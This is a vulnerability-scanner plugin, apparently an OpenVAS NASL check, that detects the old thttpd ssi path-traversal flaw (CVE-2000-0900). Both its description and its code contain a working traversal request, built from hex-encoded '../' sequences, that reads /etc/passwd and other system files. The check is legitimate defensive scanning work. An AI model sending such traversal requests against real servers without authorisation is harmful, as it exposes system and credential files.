thttpd ssi file retrieval

# SPDX-FileCopyrightText: 2000 Thomas Reinke
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:acme:thttpd";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10523");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1737");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2000-0900");
  script_name("thttpd ssi file retrieval");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2000 Thomas Reinke");
  script_family("Remote file access");
  script_dependencies("gb_thttpd_detect.nasl");
  script_mandatory_keys("thttpd/detected");

  script_tag(name:"solution", value:"Upgrade to version 2.20 of thttpd.");

  script_tag(name:"summary", value:"The remote HTTP server allows an attacker to read arbitrary files on the
  remote web server, by employing a weakness in an included ssi package, by prepending pathnames with %2e%2e/
  (hex-encoded ../) to the pathname.

  Example:   GET /cgi-bin/ssi//%2e%2e/%2e%2e/etc/passwd

  will return /etc/passwd.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files("linux");

foreach pattern(keys(files)) {

  file = files[pattern];

  url = dir + "/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/" + file;

  if (http_vuln_check(port: port, url: url, pattern: pattern, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);